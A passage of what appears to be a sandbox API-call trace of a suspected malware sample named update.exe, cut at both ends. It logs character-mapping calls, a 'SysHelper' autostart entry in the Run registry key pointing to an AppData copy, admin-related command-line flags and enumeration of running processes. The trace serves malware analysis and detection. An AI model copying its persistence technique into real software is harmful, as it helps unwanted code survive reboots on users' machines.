¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.323] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18f348, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0042.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe2\xaa\x59\x0e\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0042.323] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0042.323] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c0db) returned 0x40972f [0042.325] GetCurrentProcess () returned 0xffffffff [0042.325] GetLastError () returned 0x0 [0042.325] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0042.326] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x189f9c | out: phkResult=0x189f9c*=0xbc) returned 0x0 [0042.326] RegQueryValueExW (in: hKey=0xbc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x189f90, lpData=0x18b070, lpcbData=0x189fb8*=0x400 | out: lpType=0x189f90*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", lpcbData=0x189fb8*=0xd4) returned 0x0 [0042.326] RegCloseKey (hKey=0xbc) returned 0x0 [0042.326] lstrlenA (lpString="\" --AutoStart") returned 13 [0042.326] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 1 [0042.326] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask" [0042.326] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x29d188*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0042.326] lstrcpyW (in: lpString1=0x18f598, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0042.327] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask" [0042.327] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18d064 | out: pNumArgs=0x18d064) returned 0x29d188*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0042.327] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe") returned="update.exe" [0042.327] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x75a20000 [0042.327] GetProcAddress (hModule=0x75a20000, lpProcName="EnumProcesses") returned 0x0 [0042.327] GetProcAddress (hModule=0x75a20000, lpProcName="EnumProcessModules") returned 0x0 [0042.327] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0042.327] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x76420000 [0042.328] GetProcAddress (hModule=0x76420000, lpProcName="EnumProcesses") returned 0x76421544 [0042.328] GetProcAddress (hModule=0x76420000, lpProcName="EnumProcessModules") returned 0x76421408 [0042.328] GetProcAddress (hModule=0x76420000, lpProcName="GetModuleBaseNameW") returned 0x7642152c [0042.328] EnumProcesses (in: lpidProcess=0x182860, cb=0xa000, lpcbNeeded=0x18d070 | out: lpidProcess=0x182860, lpcbNeeded=0x18d070) returned 1 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0042.330] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0042.331] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x0 [0042.331] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0042.331] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0042.331] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0042.331] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0042.331] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0042.331] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0xbc [0042.331] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0042.331] CloseHandle (hObject=0xbc) returned 1 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x458) returned 0xbc [0042.331] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0042.331] CloseHandle (hObject=0xbc) returned 1 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x47c) returned 0x0 [0042.331] CloseHandle (hObject=0x0) returned 0 [0042.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a4) returned 0xbc [0042.332] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0042.332] CloseHandle (hObject=0xbc) returned 1 [0042.332] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d0) returned 0x0 [0042.332] CloseHandle (hObject=0x0) returned 0 [0042.332] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x59c) returned 0xbc [0042.332] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0042.332] CloseHandle (hObject=0xbc) returned 1 [0042.332] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x170) returned 0x0 [0042.332] CloseHandle (hObject=0x0) returned 0 [0042.332] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x79c) returned 0xbc [0042.332] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.333] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0xc30000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="attend.exe") returned 0xa [0042.333] CloseHandle (hObject=0xbc) returned 1 [0042.333] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0xbc [0042.333] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.334] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x220000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="ppdfaccounting.exe") returned 0x12 [0042.334] CloseHandle (hObject=0xbc) returned 1 [0042.334] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0xbc [0042.334] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.335] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x11f0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="firmintroduction.exe") returned 0x14 [0042.335] CloseHandle (hObject=0xbc) returned 1 [0042.335] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x790) returned 0xbc [0042.335] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.336] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0xd10000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="emmafe.exe") returned 0xa [0042.336] CloseHandle (hObject=0xbc) returned 1 [0042.336] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x41c) returned 0xbc [0042.336] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.337] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0xeb0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="dressed.exe") returned 0xb [0042.337] CloseHandle (hObject=0xbc) returned 1 [0042.337] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x418) returned 0xbc [0042.337] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.338] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0xf40000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="calculations-eternal.exe") returned 0x18 [0042.338] CloseHandle (hObject=0xbc) returned 1 [0042.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a0) returned 0xbc [0042.338] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.339] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x1060000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="refine belief dietary.exe") returned 0x19 [0042.339] CloseHandle (hObject=0xbc) returned 1 [0042.339] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3c8) returned 0xbc [0042.339] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.340] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x940000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="brilliant.exe") returned 0xd [0042.341] CloseHandle (hObject=0xbc) returned 1 [0042.341] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x578) returned 0xbc [0042.341] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.341] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x10000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="hook-harley.exe") returned 0xf [0042.342] CloseHandle (hObject=0xbc) returned 1 [0042.342] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x360) returned 0xbc [0042.342] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.343] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x1d0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="significance_five_digit.exe") returned 0x1b [0042.343] CloseHandle (hObject=0xbc) returned 1 [0042.343] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0xbc [0042.343] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.344] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x1240000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="domestic.exe") returned 0xc [0042.344] CloseHandle (hObject=0xbc) returned 1 [0042.344] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x65c) returned 0xbc [0042.344] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.345] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x1190000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="rocontinually.exe") returned 0x11 [0042.345] CloseHandle (hObject=0xbc) returned 1 [0042.345] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x704) returned 0xbc [0042.345] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.346] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x8b0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="privilege.exe") returned 0xd [0042.346] CloseHandle (hObject=0xbc) returned 1 [0042.346] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x69c) returned 0xbc [0042.346] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.347] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x10c0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="sequence.exe") returned 0xc [0042.347] CloseHandle (hObject=0xbc) returned 1 [0042.347] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x708) returned 0xbc [0042.347] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.348] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x820000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="abilities_imported_yale.exe") returned 0x1b [0042.348] CloseHandle (hObject=0xbc) returned 1 [0042.349] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x174) returned 0xbc [0042.349] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.349] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0xd60000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="discrete.exe") returned 0xc [0042.350] CloseHandle (hObject=0xbc) returned 1 [0042.350] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0xbc [0042.350] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.350] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x920000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="subscriptions_comparable_server.exe") returned 0x23 [0042.351] CloseHandle (hObject=0xbc) returned 1 [0042.351] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2ac) returned 0xbc [0042.351] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.351] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x3e0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="logic_acre.exe") returned 0xe [0042.352] CloseHandle (hObject=0xbc) returned 1 [0042.352] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x724) returned 0xbc [0042.352] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.353] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x330000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="ad floyd.exe") returned 0xc [0042.353] CloseHandle (hObject=0xbc) returned 1 [0042.353] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x504) returned 0xbc [0042.353] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.354] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0xd60000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="laptop.exe") returned 0xa [0042.354] CloseHandle (hObject=0xbc) returned 1 [0042.354] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x898) returned 0x0 [0042.354] CloseHandle (hObject=0x0) returned 0 [0042.354] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8bc) returned 0x0 [0042.354] CloseHandle (hObject=0x0) returned 0 [0042.354] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x904) returned 0xbc [0042.354] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0042.355] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0042.355] CloseHandle (hObject=0xbc) returned 1 [0042.355] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29d248, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe")) returned 0x30 [0042.355] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0042.355] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask" [0042.355] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18d0d0 | out: 